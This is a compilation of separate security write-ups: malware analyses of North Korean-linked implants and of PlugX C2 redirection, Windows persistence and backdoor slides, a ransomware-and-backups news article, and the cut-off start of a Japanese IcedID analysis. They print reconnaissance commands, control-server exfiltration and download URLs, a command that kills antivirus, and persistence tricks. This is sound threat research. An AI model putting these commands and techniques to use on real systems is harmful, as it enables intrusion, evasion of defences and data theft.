- Directory listing of the user’s recently accessed files using command: cmd.exe /c dir C:\DOCUME~1\<username>\Recent >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp.
- Directory listing of the system’s %programfiles% folder using command: cmd.exe /c dir C:\PROGRA~1\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp.
- Systeminfo of the endpoint using command: cmd.exe /c systeminfo >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp.
- Copies the file ixe000.bin from: C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin to: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp.
- Registry key and value information for the current user’s Run key (with information collected): HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
An example of 1.hwp with registry and system information: Gold Dragon executes these steps in the exfiltration process:
- Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com.”
- The encrypted content is written to the data file 1.hwp.
- During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL: http://ink[dot]inkboom.co.kr/host/img/jpg/post.php.
The malware can also download and execute additional components served to it by the control server. The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin.
After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex (note “ex,” not “exe”).
The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products:
- The presence of any process with the keywords “v3” and “cleaner.” If found, these processes are terminated by sending a WM_CLOSE message to their windowing threads.
## Brave Prince
Brave Prince is a Korean-language implant that contains similar code and behavior to the Gold Dragon variants, specifically the system profiling and control server communication mechanism. The malware gathers detailed logs about the victim’s configuration, contents of the hard drive, registry, scheduled tasks, running processes, and more. Brave Prince was first observed in the wild December 13, 2017, sending logs to the attacker via South Korea’s Daum email service. Later variants posted the data to a web server via an HTTP post command, in the same way that Gold Dragon does.
The embedded domain braveprince.com. The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command.
The type of data this implant gathers from the victim’s system:
- Directories and files.
- Network configuration.
- Address resolution protocol cache.
- System config to gather tasks.
Both variants of Brave Prince can kill a process associated with a tool created by Daum that can block malicious code. This tool is exclusive to South Korea: taskkill /f /im daumcleaner.exe.
The later variants of Brave Prince include the following hardcoded strings:
- c:\utils\c2ae_uiproxy.exe
- c:\users\sales\appdata\local\temp\dwrrypm.dl
## Ghost419
Ghost419 is a Korean-language implant that first appeared in the wild December 18, 2017, with the most recent sample appearing two days before the Olympics spear phishing email. The malware can be identified by the hardcoded string and URL parameter passed to the control server. Ghost419 can be traced to a sample created July 29, 2017, that appears to be a much earlier version (without the hardcoded identifier). The July version shares 46% of its code with samples created in late December. This early version implant creates a unique mutex value (kjie23948_34238958_KJ238742) that also appears in a sample from December, with the exception that one digit has changed. Ghost419 is based on Gold Dragon and Brave Prince implants and contains shared elements and code, especially for system reconnaissance functions.
The string “WebKitFormBoundarywhpFxMBe19cSjFnG,” part of the upload mechanism, also appears in the Gold Dragon variants of late December 2017.
## RunningRat
RunningRat is a remote access Trojan (RAT) that operates with two DLLs. It gets its name from a hardcoded string embedded in the malware. Upon being dropped onto a system, the first DLL executes. This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence. The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program. The batch file then attempts to remove itself.
The first DLL unpacks a resource file attached to the DLL using a zlib decompression algorithm. The authors of the malware left the debugging strings in the binary, making the algorithm easy to identify. The second DLL is decompressed in memory and never touches the user’s file system; this file is the main RAT that executes. Finally, the first DLL adds the registry key “SysRat,” at SoftWare\Microsoft\Windows\CurrentVersion\Run, to ensure the malware is executed at startup.
After the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server, effectively changing the address the malware will communicate with. This address is hardcoded in the second DLL as 200.200.200.13 and is modified by the first DLL to 223.194.70.136. This type of behavior may indicate this code is being reused or is part of a malware kit.
The first DLL uses one common antidebugging technique by checking for SeDebugPrivilege. Once the second DLL is executed, it gathers information about the victim system’s setup, such as operating system version, and driver and processor information. The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs.
From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality. Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more. However, our current analysis shows no way for such code to be executed.
McAfee ATR analysts will continue to research RunningRat to determine if this extra code is used or is possibly left over from a larger RAT toolkit. The second DLL employs a few additional antidebugging techniques. One is the use of a custom exception handler and code paths that are designed to generate exceptions. There are also a few random empty-nested threads to slow down researchers during static analysis. The final antidebugging technique involves GetTickCount performance counters, which are placed within the main sections of code to detect any delay a debugger adds during runtime.
## Conclusion
The PowerShell script first discovered by McAfee ATR was delivered via a spear phishing campaign that used image stenography techniques to hide the first-stage implant. The implants covered in this research establish a permanent presence on the victim’s system once the PowerShell implant is executed. The implants are delivered as a second stage once the attacker gains an initial foothold using fileless malware. Some of the implants will maintain their persistence only if Hangul Word, which is specific to South Korea, is running. With the discovery of these implants, we now have a better understanding of the scope of this operation. Gold Dragon, Brave Prince, Ghost419, and RunningRat demonstrate a much wider campaign than previously known. The persistent data exfiltration we see from these implants could give the attacker a potential advantage during the Olympics.
## Indicators of Compromise
**IPs**
- 194.70.136
**Domains**
- 000webhostapp.com
- nid-help-pchange.atwebpages.com
- inkboom.co.kr
- byethost7.com
**Hashes**
- fef671c13039df24e1606d5fdc65c92fbc1578d9
- 06948ab527ae415f32ed4b0f0d70be4a86b364a5
- 96a2fda8f26018724c86b275fe9396e24b26ec9e
- ad08a60dc511d9b69e584c1310dbd6039ac0a0d
- c2f01355880cd9dfeef75c189f4a8af421e0d3
- 615447f458463dc77f7ae3b0a4ad20ca2303027a
- bf21667e4b48b8857020ba455531c9c4f2560740
- bc6cb78e20cb20285149d55563f6fdcf4aaafa58
- 465d48ae849bbd6505263f3323e818ccb501ba88
- a9eb9a1734bb84bbc60df38d4a1e02a870962857
- 539acd9145befd7e670fe826c248766f46f0d041
- d63c7d7305a8b2184f3b0941e596f09287aa66
- 35e5310b6183469f4995b7cd4f795da8459087a4
- 11a38a9d23193d9582d02ab0eae767c3933066ec
- e68f43ecb033300420047b61933583b4144585
- 83706ddaa5ea5ee2cf54b7c809458a39163a7a
- 3a0c617d17e7f819775e48f7edefe9af84a1446b
- 761b0690cd86fb472738b6dc32661ace5cf18893
- 7e74f034d8aa4570bd1b7dcfcdfaa52c9a139361
- 5e1326dd7122e2e2aed04ca4de180d16686853a7
- 6e13875449beb00884e07a38d0dd2a73afe38283
- 4f58e6a7a04be2b2ecbcdcbae6f281778fdbd9f9
- 389db34c3a37fd288e92463302629aa48be06e35
- 71f337dc65459027f4ab26198270368f68d7ae77
- 5a7fdfa88addb88680c2f0d5f7095220b4bb0c1 |
# Operation Poisoned Hurricane
## Introduction
Our worldwide sensor network provides researchers at FireEye Labs with unique opportunities to detect innovative tactics employed by malicious actors and protects our clients from these tactics. We recently uncovered a coordinated campaign targeting Internet infrastructure providers, a media organization, a financial services company, and an Asian government organization. The actor responsible for this campaign utilized legitimate digital certificates to sign their tools and employed innovative techniques to cloak their command and control traffic.
## Hurricane Electric Redirection
In March of 2014, we detected Kaba (aka PlugX or SOGU) callback traffic to legitimate domains and IP addresses. Our initial conclusion was that this traffic was the result of malicious actors 'sleeping' their implants, by pointing their command and control domains at legitimate IP addresses. As this is a popular technique, we did not think much of this traffic at the time. Further analysis revealed that the HTTP headers of the traffic in question contained a Host: entry for legitimate domains. As we have previously observed malware families that forge their HTTP headers to include legitimate domains in callback traffic, we concluded that the malware in this case was configured in the same way.
An example of the observed traffic is as follows:
```
POST /C542BB084F927229348B2A34 HTTP/1.1
Accept: */*
CG100: 0
CG103: 0
CG107: 61456
CG108: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
Host: www.adobe.com
Content-Length: 0
Cache-Control: no-cache
```
As we continued to see this odd traffic throughout the summer, we began a search for malware samples responsible for this behavior. Via this research, we found a malware sample that we believe was responsible for at least some of the strange traffic that we had observed. The identified sample had the following properties:
- **MD5**: 52d2d1ab9b84303a585fb81e927b9e01
- **Size**: 180296
- **Compile Time**: 2013-10-15 05:17:37
- **Import Hash**: b29eb78c7ec3f0e89bdd79e3f027c029
- **.rdata**: d7b6e412ba892e9751f845432625bbb0
- **.text**: ed0dd6825e3536d878f39009a7777edc
- **.data**: 1bc25d2f0f3123bedea254ea7446dd50
- **.rsrc**: 91484aa628cc64dc8eba867a8493c859
- **.reloc**: f1df8fa77b5abb94563d5d97e5ccb8e2
- **RT_VERSION**: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9
This sample was signed with a legitimate digital certificate from the ‘Police Mutual Aid Association’. This certificate has a serial number of ‘06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10’. Analysis of this Kaba sample revealed that it was configured to directly connect to both www.adobe.com and update.adobe.com. Obviously, this configuration does not make a lot of sense, as the actor would not be able to control their implants from anywhere on the Internet since they did not have direct control over these domains – unless the attackers were able to re-route traffic destined for these domains from specific victims. Indeed, further analysis of this Kaba variant revealed that it was also configured to use specific DNS resolvers. This sample was configured to resolve DNS lookups via Hurricane Electric’s nameservers of 216.218.130.2, 216.218.131.2, 216.218.132.2, and 216.66.1.2.
We found this interesting, so we investigated how these Hurricane Electric’s nameservers were configured. Subsequently, we found that anyone could register for a free account with Hurricane Electric’s hosted DNS service. Via this service, anyone with an account was able to register a zone and create A records for the registered zone and point those A records to any IP address they so desired. The dangerous aspect of this service is that anyone was able to hijack legitimate domains such as adobe.com. Although these nameservers are not recursors and were not designed to be queried directly by end users, they were returning results if queried directly for domains that were configured via Hurricane Electric's public DNS service. Furthermore, Hurricane Electric did not check if zones created by their users were already registered or are otherwise legitimately owned by other parties.
As we continued this research, we identified 21 legitimate fully qualified domain names that had been hijacked via this technique by at least one APT actor. In addition to the adobe.com domain mentioned above, another one of the poisoned domains is www.outlook.com. A lookup of this domain via Google’s DNS resolvers returns expected results:
```
$ dig +short @8.8.8.8 www.outlook.com
www.outlook.com.glbdns2.microsoft.com.
www-nameast.outlook.com.
157.56.240.246
157.56.236.102
157.56.240.214
157.56.241.102
157.56.232.182
157.56.241.118
157.56.240.22
```
A quick lookup of these addresses reveals that Microsoft owns them:
```
157.56.240.246 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.236.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.240.214 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.241.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.232.182 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.241.118 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.240.22 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
```
However, as recently as August 4, 2014, a lookup of the same www.outlook.com domain via Hurricane Electric’s resolvers returned entirely different results:
```
$ dig +short @216.218.130.2 www.outlook.com
59.125.42.167
$ dig +short @216.218.131.2 www.outlook.com
59.125.42.167
$ dig +short @216.218.132.2 www.outlook.com
59.125.42.167
$ dig +short @216.66.1.2 www.outlook.com
59.125.42.167
```
Passive DNS research on the 59.125.42.167 IP address revealed that multiple APT actors have previously used this IP address.
```
IP Address Domain First Seen Last Seen
59.125.42.167 ml65556.gicp[.]net 2014-06-23 2014-07-23
59.125.42.167 wf.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 gl.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 unix.edsplan[.]com 2014-05-12 2014-05-14
```
Additional research uncovered more Kaba samples that were configured to leverage Hurricane Electric’s public DNS resolvers. Another sample has the following properties:
- **MD5**: eae0391e92a913e757ac78b14a6f079f
- **Size**: 184304
- **Compile Time**: 2013-11-26 17:39:25
- **Import Hash**: f749528b1db6fe5aee61970813c7bc18
- **Text Entry**: 558bec83ec1056ff7508ff1518b00010
- **.rdata**: 747abda5b3cd3494f056ab4345a909e4
- **.text**: 475c20b8abc972710941ad6659492047
- **.data**: d461f8f7b3f35b7c6855add6ae59e806
- **.rsrc**: b195f57cb5e605cb719469492d9fe717
- **.reloc**: d6b23cb71f214d33e56cf8f6a10c0c10
- **RT_VERSION**: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9
This sample is signed with a recently expired digital certificate from ‘MOCOMSYS INC’. This certificate has a serial number of ‘03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80’. This sample used Hurricane Electric’s public DNS resolvers to route traffic to the hijacked domains of www.adobe.com and update.adobe.com. We also noted that this sample was configured to connect directly to 59.125.42.168 – one IP address away from the IP that received traffic from the hijacked www.outlook.com domain.
Passive DNS research revealed that this IP hosted the same set of known APT domains listed above:
```
IP Address Domain First Seen Last Seen
59.125.42.168 ml65556.gicp[.]net 2014-04-23 2014-07-24
59.125.42.168 wf.edsplan[.]com 2014-04-23 2014-05-14
59.125.42.168 gl.edsplan[.]com 2014-05-04 2014-05-14
59.125.42.168 unix.edsplan[.]com 2014-05-04 2014-05-14
```
While this problem does not directly impact users of www.adobe.com, www.outlook.com, or users of the other affected domains, it should not be dismissed as inconsequential. Actors that adopt this tactic and obfuscate the destination of their traffic through localized DNS hijacks can significantly complicate the job of network defenders.
Via our sensor network, we observed the actor responsible for this activity conducting a focused campaign. We observed this actor target:
- Multiple Internet Infrastructure Service Providers in Asia and the United States
- A Media Organization based in the United States
- A financial institution based in Asia
- An Asian government organization
## Google Code Command and Control
Furthermore, we also discovered this same actor conducting a parallel campaign that leveraged Google Code for command and control. On August 1, 2014, we observed a malicious self-extracting executable (aka sfxrar) file downloaded from 211.125.81.203. This file had the following properties:
- **MD5**: 17bc9d2a640da75db6cbb66e5898feb1
- **Size**: 282800 bytes
A valid certificate from ‘QTI INTERNATIONAL INC’ was used to sign this sfxrar. This certificate had a serial number of ‘2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9’. The sfxrar contained the following files:
```
File Size MD5
msi.dll 11680 029c8f56dd89ceeaf928c3148d13eba7
msi.dll.dat 115218 62834d2c967003ba5284663b61ac85b5
setup.exe 34424 d00b3169f45e74bb22a1cd684341b14a
```
Setup.exe is a legitimate executable from Kaspersky used to load the Kaba (aka PlugX) files – msi.dll and msi.dll.dat. These Kaba files are configured to connect to Google Code – specifically code.google.com/p/udom/. On August 1, this Google Code project contained the encoded command “DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS”.
```python
def NewPlugx_C2_redir_decode(s):
rvalue = ""
for x in range(0, len(s), 2):
tmp0 = (ord(s[x+1]) - 0x41) << 4
rvalue += chr(ord(s[x]) + tmp0 - 0x41)
return rvalue
```
The command ‘DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS’ decodes to 222.122.208.10. In a live environment, the Kaba implant would then connect to this IP address via UDP. Further analysis of the project at code.google.com/p/udom/ revealed the project owner, 0x916ftb691u, created a number of other projects. We decoded the commands hosted at these linked projects and found that they issued the following decoded commands:
- 112.175.143.22
- 59.125.42.167
- 153.121.57.213
- 61.82.71.10
- 202.181.133.169
- 61.78.32.139
- 61.78.32.148
- 202.181.133.216
- 59.125.42.168
- 119.205.217.104
- 222.122.208.10
- 112.175.143.16
- 222.122.208.9
- 27.122.13.204
It is likely that other yet to be discovered Kaba variants are configured to connect to these related Google Code projects and then redirect to this list of IP addresses. Passive DNS analysis of these IP addresses revealed connections to the following known malicious infrastructure:
```
IP Address Domain First Seen Last Seen
27.122.13.204 bq.cppcp[.]com 2014-03-21 2014-05-08
112.175.143.16 uj.verisignss[.]com 2013-06-30 2013-08-13
112.175.143.16 www.verifyss[.]com 2013-06-30 2013-07-22
112.175.143.16 uj.byonds[.]com 2013-06-24 2013-07-22
112.175.143.16 uj.verifyss[.]com 2013-06-30 2013-07-22
59.125.42.168 ml65556.gicp[.]net 2014-04-23 2014-07-24
59.125.42.168 wf.edsplan[.]com 2014-04-23 2014-05-14
59.125.42.168 gl.edsplan[.]com 2014-05-04 2014-05-14
59.125.42.168 unix.edsplan[.]com 2014-05-04 2014-05-14
59.125.42.167 ml65556.gicp[.]net 2014-06-23 2014-07-23
59.125.42.167 wf.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 gl.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 unix.edsplan[.]com 2014-05-12 2014-05-14
61.78.32.148 door.nexoncorp[.]com 2014-04-30 2014-06-22
61.78.32.148 verisignss[.]com 2014-04-30 2014-06-22
61.78.32.148 th.nexoncorp[.]com 2014-04-30 2014-06-22
61.78.32.148 tw.verisignss[.]com 2014-04-30 2014-06-22
61.78.32.148 sd.nexoncorp[.]com 2014-04-30 2014-06-22
61.78.32.148 mail.nexoncorp[.]com 2014-04-30 2014-06-22
112.175.143.22 door.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 th.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 sd.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 mail.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 verisignss[.]com 2013-12-29 2014-04-30
112.175.143.22 tw.verisignss[.]com 2013-12-29 2014-04-30
```
## Relationships Between Campaigns
As mentioned above, the Kaba variant eae0391e92a913e757ac78b14a6f079f shared a common import hash of f749528b1db6fe5aee61970813c7bc18 with many of the samples listed in this post. This sample was to use Hurricane Electric’s nameservers as well as connect directly to the IP address 59.125.42.168. Note that we identified the same C2 IP 59.125.42.168 via our analysis of the malicious Google Code projects. Specifically, the Google Project at code.google.com/p/tempzz/, which is linked to the project at code.google.com/p/udom/, issued an encoded command that decoded to 59.125.42.168.
We also identified another related Kaba variant that connected to code.google.com/p/updata-server. This variant had the following properties:
- **MD5**: 50af349c69ae4dec74bc41c581b82459
- **Size**: 180600 bytes
- **Compile Time**: 2014-04-01 03:28:31
- **Import Hash**: f749528b1db6fe5aee61970813c7bc18
- **.rdata**: 103beeefae47caa0a5265541437b03a1
- **.text**: e7c4c2445e76bac81125b2a47384d83f
- **.data**: 5216d6e6834913c6cc75f40c8f70cff8
- **.rsrc**: b195f57cb5e605cb719469492d9fe717
- **.reloc**: f7d9d69b8d36fee5a63f78cbd3238414
- **RT_VERSION**: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9
This sample was signed with a valid digital certificate from ‘PIXELPLUS CO., LTD’ and had a serial number of ‘0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce’. In addition to sharing the same Import hash of f749528b1db6fe5aee61970813c7bc18 seen in other samples listed throughout this post, 50af349c69ae4dec74bc41c581b82459 contained a RT_VERSION resource of 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9. This same RT_VERSION was used in a number of other related samples including:
```
MD5 C2 Uses
7e6c8992026a79c080f88103f6a69d2c h.cppcp[.]com NO
52d2d1ab9b84303a585fb81e927b9e01 www.adobe[.]com, update.adobe[.]com YES
787c6cf3cb18feeabe4227ec6b19db01 ns.lovechapelumc[.]org, ns1.lovechapelumc[.]org NO
```
## Conclusion
These coordinated campaigns demonstrate that APT actors are determined to continue operations. As computer network defenders increase their capabilities to identify and block these campaigns by deploying more advanced detection technologies, threat actors will continue to adopt creative evasion techniques.
We observed the following evasion techniques in these campaigns:
- The use of legitimate digital certificates to sign malware
- The use of Hurricane Electric's public DNS resolvers to redirect command and control traffic
- The use of Google Code to obfuscate the location of command and control servers
While none of these techniques are necessarily new, in combination, they are certainly both creative and have been observed to be effective. Although the resultant C2 traffic can be successfully detected and tracked, the fact that the malware appears to beacon to legitimate domains may lull defenders into a false sense of security. Network defenders should continue to study the evolution of advanced threat actors, as these adversaries will continue to evolve in pursuit of their designated objectives.
## Related MD5s
- 17bc9d2a640da75db6cbb66e5898feb1
- eae0391e92a913e757ac78b14a6f079f
- 434b539489c588db90574a64f9ce781f
- 7e6c8992026a79c080f88103f6a69d2c
- 52d2d1ab9b84303a585fb81e927b9e01
- 787c6cf3cb18feeabe4227ec6b19db01
- 50af349c69ae4dec74bc41c581b82459
- d51050cf98cc723f0173d1c058c12721
## Digital Certificates
- MOCOMSYS INC, (03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80)
- PIXELPLUS CO., LTD., (0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce)
- Police Mutual Aid Association (06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10)
- QTI INTERNATIONAL INC (2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9)
- Ssangyong Motor Co. (1D 2B C8 46 D1 00 D8 FB 94 FA EA 4B 7B 5F D8 94)
- jtc (72 B4 F5 66 7F 69 F5 43 21 A9 40 09 97 4C CC F8) |
# Getting Windows to Play with Itself
## A Hacker’s Guide to Windows API Abuse
### Brady Bloxham
Founder/Principal Security Consultant @ silentbreaksec
### Background
- Shorten the gap between penetration test and actual attack
- Few covert persistence tools
- Reduce reliance on Metasploit
### Got a lot to cover
#### DLL Injection
- Traditional methods
- CreateRemoteThread()
- NtCreateThreadEx()
- RtlCreateUserThread()
- NtQueueApcThread()
- Can blue screen certain OSes
- Code Cave
- Suspend process
- Inject code
- Change EIP to location of injected code
- Resume process
- Difficult on x64
#### AddMonitor()
- Injects into spoolsv.exe
- Doesn’t require matching architecture
- Easy to use
#### Dll
- Must be on disk
- Requires administrator privileges
### Persistence
- Lots of persistence in Windows
- Service
- Run keys
- Schtasks
- …
- And lots still to find…
- Lots of techniques
- Process monitor
- Hook LoadLibrary()
### Windows Persistence Techniques
1. **Technique**
- Requires VMware Tools be installed
- Just drop a dll to disk
- c:\windows\system32\wbem\ntdsapi.dll
- Note: Dll must export same functions as real ntdsapi.dll
2. **Technique**
- VMware patched in ESXi 5.5
- Requires VMware Tools be installed
- Just drop a dll to disk
- c:\windows\system32\wbem\tpgenlic.dll
- c:\windows\system32\wbem\thinmon.dll
3. **Technique**
- HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\
- Create a new key
- Create a new value named Driver with the dll name
- Create as many as you like
### Windows API Cheatsheet
- **WinHTTP**
- Intended for services
- Does not pull user proxy settings
- Supports impersonation
- **WinINet**
- More robust in proxy environment
- Variety of flags that enable/disable functionality automatically
- Prompts user for password if authentication is required
- Uses IE settings
### What is Throwback?
- C++ HTTP/S beaconing backdoor
- PHP control panel with MySQL backend
- Built for stealth
- Persistence built-in
- Dll
- Exe
### Throwback Features
- Robust proxy detection
- Distributed LPs
- Uses MSGRPC to generate MSF payloads
- RC4 encrypted comms
- Implements reflective dll injection
- String encryption
### Going Forward…
- Community-based project
- Create modules
- Keylogger, Mimikatz, Hashdump, etc.
- Various transport methods
- Additional persistence techniques
- Modification of comms
### The End
#### Shameless Plug
- Interested in writing custom malware/backdoors?
- Dark Side Ops: Custom Penetration Testing
- Blackhat Europe and East Coast Trainings
- Pen test networks from your browser
- Silent Break Security
- Blackbox / Red Team Pen Testing
- [email protected]
- @silentbreaksec
- GitHub: silentbreaksec |
# Ransomware Attackers Use Your Cloud Backups Against You
By Lawrence Abrams
March 3, 2020
Backups are one of the most important defenses against ransomware, but if not configured properly, attackers will use them against you. Recently, the DoppelPaymer Ransomware operators published on their leak site the Admin username and password for a non-paying victim's Veeam backup software. This was not meant to expose the information to others for further attacks but was used as a warning to the victim that the ransomware operators had full access to their network, including the backups.
After seeing this information, I reached out to the operators of the DoppelPaymer and Maze Ransomware families to learn how they target victims' backups and was surprised by what I learned. It should be noted that in this article we will be focusing on the Veeam backup software, not because it is less secure than other software, but simply because it is one of the most popular enterprise backup products and was mentioned by the ransomware operators.
## Attackers First Use Your Cloud Backups to Steal Your Data
During ransomware attacks, attackers will compromise an individual host through phishing, malware, or exposed remote desktop services. Once they gain access to a machine, they spread laterally throughout the network until they gain access to administrator credentials and the domain controller. Using tools such as Mimikatz, they proceed to dump credentials from the active directory. According to Nero Consulting, an MSP and IT Consulting company based out of New York City, this could allow the attackers to gain access to backup software as some administrators configure Veeam to use Windows authentication.
Once they gain access, the Maze Ransomware operators told BleepingComputer that if cloud backups are configured, it is very useful when stealing data from their victims. When Maze finds backups stored in the cloud, they attempt to obtain the cloud storage credentials and then use them to restore the victim's data to servers under the attacker's control.
"Yes, we download them. It is very useful. No need to search for sensitive information; it is definitely contained in backups. If backups in the cloud, it is even easier, you just log in to the cloud and download it from your server, full invisibility to data breach detection software. Clouds are about security, right?"
As the attackers are restoring directly from the cloud to their servers, it won't raise any red flags for the victim as their servers appear to be operating normally with no logs being created in their backup software. The Maze operators did not elaborate on how they gain access to the cloud credentials, but DoppelPaymer told us they use "all possible methods." This could include keyloggers, phishing attacks, or by reading locally saved documentation on the backup servers.
## Deleting Backups Before Ransomware Attacks
Regardless of whether the backups are used to steal data, before encrypting devices on the network, the attackers will first delete the backups so that they cannot be used to restore encrypted files. DoppelPaymer told BleepingComputer that even though cloud backups can be a good option to protect against ransomware, it is not 100% effective.
"Cloud backups are a very good option against ransom but do not 100% protect as cloud backups are not always well configured; offline backups are often outdated - the system of backups is really nice but the human factor leaves some options," DoppelPaymer told us via email. Unless you subscribe to service add-ons such as immutable backups, as the actors have full access to the local install of backup software, they can simply delete any backups that exist in the cloud.
With a victim's data now stolen and their backups deleted, the attackers deploy their ransomware throughout the compromised network using PSExec or PowerShell Empire, typically during off-hours. This usually leads to a company opening the next day to an encrypted network.
## Protecting Your Backups
In emails with Rick Vanover, Senior Director, Product Strategy at Veeam Software, we were told that it does not matter what software you use; once an attacker gains privileged access to the network, everything is at risk.
"We have advocated, even in a published 2017 whitepaper that I wrote, I’ve recommended separate accounts for Veeam installations and components. Additionally, I recommend Veeam installations to use non-domain accounts for components as well to add more account-based layers of resiliency. Additionally, Veeam has recommended that the Veeam deployment not have Internet access or otherwise be on an isolated management network," Vanover told BleepingComputer.
To prevent ransomware attackers from gaining complete leverage over a victim, Veeam recommends that companies follow a 3-2-1 Rule when configuring backups.
"Whether it is ultra-resilient backup data like S3-immutable backups in the cloud, encrypted backups on tape, or encrypted backups on removable offline storage; customers need to have multiple copies of data. We have advocated for a long time the 3-2-1 Rule, which advocates having 3 different copies of data on 2 different media with one of them being off-site. Couple in 1 copy being on an ultra-resilient technique such as an immutable backup, offline backup, or otherwise air-gapped; data can be protected against nearly any failure scenario – including ransomware. Additionally, Veeam also has a technology called Secure Restore, which will perform a threat scan with almost any tool to ensure that a restored system or data does not re-introduce a threat," Vanover continued.
Like Veeam, Nero Consulting also strongly recommends users should purchase the immutable storage or redundant storage protection options if available when using cloud services. Using this option, even if the data is deleted from the cloud storage provider, the immutable storage service will make the data recoverable for a certain amount of time.
As for protecting a network from data exfiltration, the best solution is to prevent the attackers from gaining access to your network in the first place and to monitor for suspicious activity. This would include utilizing network monitoring software, intrusion detection systems, and geographic and IP access control for cloud storage providers if available. |
# 【検証】IcedIDとは?検知傾向と感染に至るプロセスを徹底解説
NRIセキュアのセキュリティ・オペレーション・センター(以下、当社SOC)では、10月下旬より「IcedID」と呼ばれるマルウェアの感染被害を検知しております。本記事では、この「IcedID」の傾向と感染に至るまでのプロセスを解説します。
## IcedIDとは?キャンペーン検知傾向について
IcedIDはユーザの金融情報やホスト情報などを窃取したり、他のマルウェアをダウンロードする特徴があり、過去にやり取りのあったメール件名を引用し返信を装い、パスワード付きzipしたdocファイルを添付したメールを通じて感染します。
弊社SOCで観測するIcedIDへの感染を誘導する不審メール数は日によって変化があり、その変化にあわせて不審メールを実行した例やマルウェア感染に至った例を確認しております。IcedIDの不審メール実行や感染通信の検知は、他の検体に比べ比較的多い傾向にあります。これは、IcedIDが多くの日本企業の運用で採用されているパスワード付きzipで拡散するため、アンチウイルス製品による対策やメールフィルタリングによる拡張子規制がしづらく、またユーザにとってもなじみのあるオペレーションでファイル実行に至ること、実在のメールを使って不審メールが送信されること、docファイルを開くと日本語の案内文が出現するなどが理由として推測されます。
このような傾向は日本国内全般で確認できる状況であり、JPCERT/CCのTwitterアカウントから注意が呼びかけられております。本稿では弊社SOCのIcedID検知状況を踏まえ、不審なdocファイルを開封後からマルウェア感染に至るまでのプロセスに注目し検証を行いました。
なお、IcedIDの挙動が時期によって差異があることを確認しているため、IcedIDは複数のバージョンが存在する可能性があります。本検証は、以下の検体を確認したものであり、今後の動向によっては同種の検体でも挙動が異なる可能性があります。
### 今回分析したdocファイルのハッシュ値
`cd43b5b630c1a81cd463dbf83c4a82f604d971144ca4a118892dcf836c1ccaf7`
## 不審な添付ファイルを実行からマルウェア感染までの概要
